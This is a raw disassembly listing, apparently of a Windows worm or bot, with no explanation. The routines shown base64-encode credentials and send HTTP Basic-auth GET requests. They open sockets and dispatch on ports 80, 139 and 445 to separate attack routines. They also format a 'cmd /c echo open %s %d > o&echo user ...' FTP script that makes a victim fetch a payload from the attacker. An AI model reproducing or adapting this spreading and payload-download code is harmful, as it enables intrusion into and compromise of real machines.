		mov	[ebp-4], edi
		call	sub_40C926
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40CE8D
		cmp	[ebp+10h], esi
		mov	[ebp-18h], esi
		jbe	loc_40CABD
		push	ebx
		mov	ebx, [ebp+10h]


loc_40C9BA:				; CODE XREF: sub_40C972+144j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40C9C5
		push	3


loc_40C9C2:				; CODE XREF: sub_40C972+5Bj
		pop	ebx
		jmp	short loc_40C9D6
; ---------------------------------------------------------------------------


loc_40C9C5:				; CODE XREF: sub_40C972+4Cj
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40C9CF
		push	2
		jmp	short loc_40C9C2
; ---------------------------------------------------------------------------


loc_40C9CF:				; CODE XREF: sub_40C972+57j
		cmp	[ebp+10h], edi
		jnz	short loc_40C9D6
		mov	ebx, edi


loc_40C9D6:				; CODE XREF: sub_40C972+51j
					; sub_40C972+60j
		and	dword ptr [ebp-24h], 0
		mov	[ebp-28h], ebx
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_437478
		fstp	[esp+40h+var_40]
		call	sub_41CEF0
		pop	ecx
		pop	ecx
		call	sub_41CEBC
		test	ebx, ebx
		mov	[ebp-1Ch], eax
		jbe	short loc_40CA17
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	1
		and	ecx, 3
		rep movsb
		pop	edi


loc_40CA17:				; CODE XREF: sub_40C972+8Aj
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		test	eax, eax
		mov	[ebp-11h], cl
		jbe	short loc_40CA84
		add	[ebp-18h], eax


loc_40CA69:				; CODE XREF: sub_40C972+110j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_449CF8[eax]
		push	eax
		push	edi
		call	sub_40CE0D
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40CA69


loc_40CA84:				; CODE XREF: sub_40C972+F2j
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40CA99
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-38h]
		call	sub_40CDE5
		and	dword ptr [ebp-18h], 0


loc_40CA99:				; CODE XREF: sub_40C972+116j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40CAB2
		sub	esi, [ebp-1Ch]


loc_40CAA4:				; CODE XREF: sub_40C972+13Ej
		push	3Dh
		push	edi
		lea	ecx, [ebp-38h]
		call	sub_40CE0D
		dec	esi
		jnz	short loc_40CAA4


loc_40CAB2:				; CODE XREF: sub_40C972+12Dj
		cmp	dword ptr [ebp+10h], 0
		ja	loc_40C9BA
		pop	ebx


loc_40CABD:				; CODE XREF: sub_40C972+3Ej
		mov	ecx, [ebp+8]
		lea	eax, [ebp-38h]
		push	eax
		call	sub_40CD90
		mov	[ebp-20h], edi
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-38h]
		call	sub_40CDDD
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40C972	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CAE9	proc near		; CODE XREF: .nsp0:0040CCD5p
		mov	eax, offset loc_435FE9
		call	sub_41D500
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4E35D8
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40C972
		add	esp, 10h
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_40CE89
		lea	ecx, [ebp+14h]
		mov	esi, eax
		call	sub_40CE89
		lea	esi, [esi+eax+36h]
		push	esi
		call	sub_418ED0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CB3F
		xor	bl, bl
		jmp	short loc_40CB7E
; ---------------------------------------------------------------------------


loc_40CB3F:				; CODE XREF: sub_40CAE9+50j
		lea	ecx, [ebp-1Ch]
		call	sub_40CE7C
		push	eax
		lea	ecx, [ebp+14h]
		call	sub_40CE7C
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B910
		add	esp, 14h
		push	0
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4E08EC
		cmp	eax, esi
		jz	short loc_40CB75
		xor	bl, bl
		jmp	short loc_40CB77
; ---------------------------------------------------------------------------


loc_40CB75:				; CODE XREF: sub_40CAE9+86j
		mov	bl, 1


loc_40CB77:				; CODE XREF: sub_40CAE9+8Aj
		push	edi
		call	sub_419940
		pop	ecx


loc_40CB7E:				; CODE XREF: sub_40CAE9+54j
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-1Ch]
		call	sub_40CDDD
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+14h]
		call	sub_40CDDD
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40CAE9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 428h
		and	byte ptr [ebp-428h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-427h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-428h]
		push	offset sub_449EA4
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		mov	eax, offset byte_43A0E8
		push	eax
		push	eax
		movzx	eax, word ptr dword_4E05C8
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40A019
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-399h]
		push	400h
		push	eax
		call	sub_41B910
		add	eax, 90h
		push	eax
		lea	eax, [ebp-428h]
		push	eax
		push	164h
		lea	eax, [ebp-28h]
		push	offset sub_449D3C
		push	eax
		call	sub_40C3D0
		mov	ecx, [eax]
		xor	ebx, ebx
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, ebx
		mov	[ebp-4], eax
		jnz	short loc_40CC4F
		xor	eax, eax
		jmp	loc_40CD5D
; ---------------------------------------------------------------------------


loc_40CC4F:				; CODE XREF: .nsp0:0040CC46j
		mov	[ebp-0Ch], ebx


loc_40CC52:				; CODE XREF: .nsp0:0040CD34j
		test	ebx, ebx
		jnz	loc_40CD3A
		push	6
		push	1
		push	2
		call	dword_4F150C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CD22
		xor	eax, eax
		lea	edi, [ebp-1Eh]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-20h], 2
		call	dword_4E08A0
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4E08DC
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	esi
		call	dword_4E084C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CD17
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40CCDF
		sub	esp, 10h
		lea	eax, [ebp-0Dh]
		mov	ecx, esp
		mov	[ebp-24h], esp
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40CDBA
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40CAE9
		add	esp, 1Ch
		jmp	short loc_40CD14
; ---------------------------------------------------------------------------


loc_40CCDF:				; CODE XREF: .nsp0:0040CCB7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40CCF9
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40C8D4
		jmp	short loc_40CD11
; ---------------------------------------------------------------------------


loc_40CCF9:				; CODE XREF: .nsp0:0040CCE9j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40CD17
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40C7FA


loc_40CD11:				; CODE XREF: .nsp0:0040CCF7j
		add	esp, 0Ch


loc_40CD14:				; CODE XREF: .nsp0:0040CCDDj
		movzx	ebx, al


loc_40CD17:				; CODE XREF: .nsp0:0040CCAEj
					; .nsp0:0040CD03j
		push	esi
		call	dword_4E0934
		test	ebx, ebx
		jnz	short loc_40CD2D


loc_40CD22:				; CODE XREF: .nsp0:0040CC6Bj
		push	3E8h
		call	dword_4F1334	; Sleep


loc_40CD2D:				; CODE XREF: .nsp0:0040CD20j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40CC52


loc_40CD3A:				; CODE XREF: .nsp0:0040CC54j
		lea	ecx, [ebp-8]
		call	sub_40C1F5
		test	ebx, ebx
		jz	short loc_40CD5B
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_4492B0[eax]
		lea	eax, dword_4492B0[eax]


loc_40CD5B:				; CODE XREF: .nsp0:0040CD44j
		mov	eax, ebx


loc_40CD5D:				; CODE XREF: .nsp0:0040CC4Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CD62:				; DATA XREF: .nsp0:0043A008o
		call	sub_40D359
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D9F0
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40CD78	proc near		; CODE XREF: sub_40C972+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40D0FA
		mov	eax, esi
		pop	esi
		retn	4
sub_40CD78	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD90	proc near		; CODE XREF: sub_40C972+152p
					; sub_4353B0+3Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_40D0FA
		push	dword_437480
		mov	ecx, esi
		push	0
		push	edi
		call	sub_40CF0B
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_40CD90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CDBA	proc near		; CODE XREF: .nsp0:0040CCC9p
					; sub_435350+27p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40D0FA
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_40D001
		mov	eax, esi
		pop	esi
		retn	8
sub_40CDBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CDDD	proc near		; CODE XREF: sub_40C972+161p
					; sub_40CAE9+9Cp ...
		push	1
		call	sub_40D0FA
		retn
sub_40CDDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CDE5	proc near		; CODE XREF: sub_40C972+11Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40CE02
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CEA1
		pop	esi
		retn	4
sub_40CDE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE02	proc near		; CODE XREF: sub_40CDE5+7p
					; sub_40D001+7p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418D00
		pop	ecx
		retn
sub_40CE02	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE0D	proc near		; CODE XREF: sub_40C972+107p
					; sub_40C972+138p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_437480
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40CE27
		call	sub_435350


loc_40CE27:				; CODE XREF: sub_40CE0D+13j
		test	ebx, ebx
		jbe	short loc_40CE5B
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D04E
		test	al, al
		jz	short loc_40CE5B
		lea	eax, [esp+0Ch+arg_4]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	ebx
		push	eax
		call	sub_40CE63
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40D01E


loc_40CE5B:				; CODE XREF: sub_40CE0D+1Cj
					; sub_40CE0D+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CE0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE63	proc near		; CODE XREF: sub_40CE0D+3Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	[esp+arg_4]
		movsx	eax, byte ptr [eax]
		push	eax
		push	[esp+8+arg_0]
		call	sub_41B190
		add	esp, 0Ch
		retn
sub_40CE63	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE7C	proc near		; CODE XREF: sub_40CAE9+59p
					; sub_40CAE9+62p ...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40CE88
		call	sub_40D0F4

locret_40CE88:				; CODE XREF: sub_40CE7C+5j
		retn
sub_40CE7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE89	proc near		; CODE XREF: sub_40CAE9+32p
					; sub_40CAE9+3Cp
		mov	eax, [ecx+8]
		retn
sub_40CE89	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE8D	proc near		; CODE XREF: sub_40C972+33p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	[ecx+0Ch], eax
		jnb	short locret_40CE9E
		push	0
		push	eax
		call	sub_40D04E

locret_40CE9E:				; CODE XREF: sub_40CE8D+7j
		retn	4
sub_40CE8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CEA1	proc near		; CODE XREF: sub_40CDE5+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_437480
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40CEBB
		call	sub_435350


loc_40CEBB:				; CODE XREF: sub_40CEA1+13j
		test	ebx, ebx
		jbe	short loc_40CEEE
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D04E
		test	al, al
		jz	short loc_40CEEE
		mov	eax, [esi+4]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+8]
		push	eax
		call	sub_40CEF6
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40D01E


loc_40CEEE:				; CODE XREF: sub_40CEA1+1Cj
					; sub_40CEA1+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CEA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CEF6	proc near		; CODE XREF: sub_40CEA1+3Dp
					; sub_40CF0B+D9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		retn
sub_40CEF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF0B	proc near		; CODE XREF: sub_40CD90+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, ebx
		call	sub_40CFFD
		cmp	eax, [ebp+arg_4]
		jnb	short loc_40CF27
		call	sub_435650


loc_40CF27:				; CODE XREF: sub_40CF0B+15j
		mov	ecx, ebx
		call	sub_40CFFD
		mov	edi, eax
		mov	eax, [ebp+arg_4]
		sub	edi, eax
		cmp	[ebp+arg_8], edi
		jnb	short loc_40CF3D
		mov	edi, [ebp+arg_8]


loc_40CF3D:				; CODE XREF: sub_40CF0B+2Dj
		cmp	esi, ebx
		jnz	short loc_40CF62
		push	dword_437480
		add	edi, eax
		mov	ecx, esi
		push	edi
		call	sub_40D18A
		push	[ebp+arg_4]
		mov	ecx, esi
		push	0
		call	sub_40D18A
		jmp	loc_40CFF4
; ---------------------------------------------------------------------------


loc_40CF62:				; CODE XREF: sub_40CF0B+34j
		test	edi, edi
		jbe	short loc_40CFC7
		mov	ecx, ebx
		call	sub_40CFFD
		cmp	edi, eax
		jnz	short loc_40CFC7
		mov	ecx, ebx
		call	sub_40CE7C
		push	eax
		mov	ecx, esi
		call	sub_40D2DF
		cmp	byte ptr [eax],	0FEh
		jnb	short loc_40CFC7
		push	ebx
		push	esi
		call	sub_40D344
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40CFC7
		push	1
		mov	ecx, esi
		call	sub_40D0FA
		mov	ecx, ebx
		call	sub_40CE7C
		mov	ecx, ebx
		mov	[esi+4], eax
		call	sub_40CFFD
		mov	ecx, ebx
		mov	[esi+8], eax
		call	sub_40D216
		push	dword ptr [esi+4]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_40D2DF
		inc	byte ptr [eax]
		jmp	short loc_40CFF4
; ---------------------------------------------------------------------------


loc_40CFC7:				; CODE XREF: sub_40CF0B+59j
					; sub_40CF0B+64j ...
		push	1
		push	edi
		mov	ecx, esi
		call	sub_40D04E
		test	al, al
		jz	short loc_40CFF4
		push	edi
		mov	ecx, ebx
		call	sub_40CE7C
		add	eax, [ebp+arg_4]
		push	eax
		push	dword ptr [esi+4]
		call	sub_40CEF6
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40D01E


loc_40CFF4:				; CODE XREF: sub_40CF0B+52j
					; sub_40CF0B+BAj ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40CF0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CFFD	proc near		; CODE XREF: sub_40CF0B+Dp
					; sub_40CF0B+1Ep ...
		mov	eax, [ecx+8]
		retn
sub_40CFFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D001	proc near		; CODE XREF: sub_40CDBA+18p
					; sub_40D2F4+34p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40CE02
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40D154
		pop	esi
		retn	4
sub_40D001	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01E	proc near		; CODE XREF: sub_40CE0D+49p
					; sub_40CEA1+48p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	[ebp+var_1], 0
		mov	[ecx+8], eax
		mov	ecx, [ecx+4]
		lea	edx, [ebp+var_1]
		add	ecx, eax
		push	edx
		push	ecx
		call	sub_40D041
		pop	ecx
		pop	ecx
		leave
		retn	4
sub_40D01E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D041	proc near		; CODE XREF: sub_40D01E+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		mov	al, [eax]
		mov	[ecx], al
		retn
sub_40D041	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D04E	proc near		; CODE XREF: sub_40CE0D+28p
					; sub_40CE8D+Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40D204
		mov	edi, [esp+0Ch+arg_0]
		cmp	eax, edi
		jnb	short loc_40D065
		call	sub_435350


loc_40D065:				; CODE XREF: sub_40D04E+10j
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40D0A5
		push	eax
		mov	ecx, esi
		call	sub_40D2DF
		cmp	[eax], bl
		jz	short loc_40D0A5
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40D2DF
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40D0A5
		cmp	edi, ebx
		jnz	short loc_40D0E4
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40D2DF
		dec	byte ptr [eax]
		push	ebx


loc_40D09A:				; CODE XREF: sub_40D04E+63j
		mov	ecx, esi
		call	sub_40D0FA


loc_40D0A1:				; CODE XREF: sub_40D04E+68j
					; sub_40D04E+72j
		xor	al, al
		jmp	short loc_40D0EE
; ---------------------------------------------------------------------------


loc_40D0A5:				; CODE XREF: sub_40D04E+1Ej
					; sub_40D04E+2Aj ...
		cmp	edi, ebx
		jnz	short loc_40D0C2
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40D0B3
		push	1
		jmp	short loc_40D09A
; ---------------------------------------------------------------------------


loc_40D0B3:				; CODE XREF: sub_40D04E+5Fj
		cmp	[esi+4], ebx
		jz	short loc_40D0A1
		push	ebx
		mov	ecx, esi
		call	sub_40D01E
		jmp	short loc_40D0A1
; ---------------------------------------------------------------------------


loc_40D0C2:				; CODE XREF: sub_40D04E+59j
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40D0DF
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D0D4
		cmp	eax, edi
		jnb	short loc_40D0EC


loc_40D0D4:				; CODE XREF: sub_40D04E+80j
		push	1
		mov	ecx, esi
		call	sub_40D0FA
		jmp	short loc_40D0E4
; ---------------------------------------------------------------------------


loc_40D0DF:				; CODE XREF: sub_40D04E+78j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D0EC


loc_40D0E4:				; CODE XREF: sub_40D04E+3Dj
					; sub_40D04E+8Fj
		push	edi
		mov	ecx, esi
		call	sub_40D21A


loc_40D0EC:				; CODE XREF: sub_40D04E+84j
					; sub_40D04E+94j
		mov	al, 1


loc_40D0EE:				; CODE XREF: sub_40D04E+55j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D04E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0F4	proc near		; CODE XREF: sub_40CE7C+7p
		mov	eax, offset dword_437484
		retn
sub_40D0F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0FA	proc near		; CODE XREF: sub_40CD78+Dp
					; sub_40CD90+Ep ...

arg_0		= byte ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	[esp+4+arg_0], bl
		push	esi
		mov	esi, ecx
		jz	short loc_40D146
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	short loc_40D146
		push	eax
		call	sub_40D2DF
		cmp	[eax], bl
		jz	short loc_40D134
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40D2DF
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40D134
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40D2DF
		dec	byte ptr [eax]
		jmp	short loc_40D146
; ---------------------------------------------------------------------------


loc_40D134:				; CODE XREF: sub_40D0FA+1Bj
					; sub_40D0FA+2Aj
		mov	eax, [esi+0Ch]
		mov	ecx, esi
		inc	eax
		inc	eax
		push	eax
		mov	eax, [esi+4]
		dec	eax
		push	eax
		call	sub_40D2E7


loc_40D146:				; CODE XREF: sub_40D0FA+Aj
					; sub_40D0FA+11j ...
		mov	[esi+4], ebx
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		pop	esi
		pop	ebx
		retn	4
sub_40D0FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D154	proc near		; CODE XREF: sub_40D001+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		push	[esp+8+arg_4]
		mov	esi, ecx
		call	sub_40D04E
		test	al, al
		jz	short loc_40D184
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	dword ptr [esi+4]
		call	sub_40CEF6
		add	esp, 0Ch
		mov	ecx, esi
		push	[esp+4+arg_4]
		call	sub_40D01E


loc_40D184:				; CODE XREF: sub_40D154+10j
		mov	eax, esi
		pop	esi
		retn	8
sub_40D154	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D18A	proc near		; CODE XREF: sub_40CF0B+41p
					; sub_40CF0B+4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D19D
		call	sub_435650


loc_40D19D:				; CODE XREF: sub_40D18A+Cj
		mov	ecx, edi
		call	sub_40D2F4
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D1B3
		mov	ebx, eax


loc_40D1B3:				; CODE XREF: sub_40D18A+25j
		test	ebx, ebx
		jbe	short loc_40D1E7
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_40D1EF
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D04E
		test	al, al
		jz	short loc_40D1E7
		push	esi
		mov	ecx, edi
		call	sub_40D01E


loc_40D1E7:				; CODE XREF: sub_40D18A+2Bj
					; sub_40D18A+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D18A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D1EF	proc near		; CODE XREF: sub_40D18A+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41D520
		add	esp, 0Ch
		retn
sub_40D1EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D204	proc near		; CODE XREF: sub_40D04E+5p
					; sub_40D21A+1Ep
		call	sub_40D340
		cmp	eax, 2
		ja	short loc_40D212
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_40D212:				; CODE XREF: sub_40D204+8j
		add	eax, 0FFFFFFFEh
		retn
sub_40D204	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D216	proc near		; CODE XREF: sub_40CF0B+A6p
		mov	eax, [ecx+0Ch]
		retn
sub_40D216	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21A	proc near		; CODE XREF: sub_40D04E+99p
		mov	eax, offset loc_435FF4
		call	sub_41D500
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		or	edi, 1Fh
		call	sub_40D204
		cmp	eax, edi
		jnb	short loc_40D244
		mov	edi, [ebp+8]


loc_40D244:				; CODE XREF: sub_40D21A+25j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		push	0
		push	eax
		mov	ecx, esi
		call	sub_40D330
		mov	[ebp+8], eax
		jmp	short loc_40D27D
; ---------------------------------------------------------------------------


loc_40D25A:				; DATA XREF: .nsp0:0043927Co
		mov	eax, [ebp+8]
		mov	ecx, [ebp-14h]
		mov	[ebp-18h], eax
		add	eax, 2
		push	0
		push	eax
		call	sub_40D330
		mov	[ebp+8], eax
		mov	eax, offset loc_40D277
		retn
; ---------------------------------------------------------------------------


loc_40D277:				; DATA XREF: sub_40D21A+57o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D27D:				; CODE XREF: sub_40D21A+3Ej
		mov	eax, [esi+8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	eax, eax
		jbe	short loc_40D29F
		cmp	eax, edi
		jbe	short loc_40D28E
		mov	eax, edi


loc_40D28E:				; CODE XREF: sub_40D21A+70j
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_40CEF6
		add	esp, 0Ch


loc_40D29F:				; CODE XREF: sub_40D21A+6Cj
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D0FA
		mov	eax, [ebp+8]
		mov	ecx, esi
		inc	eax
		push	eax
		mov	[esi+4], eax
		call	sub_40D2DF
		and	byte ptr [eax],	0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D2C6
		mov	edi, ebx


loc_40D2C6:				; CODE XREF: sub_40D21A+A8j
		push	edi
		mov	ecx, esi
		call	sub_40D01E
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
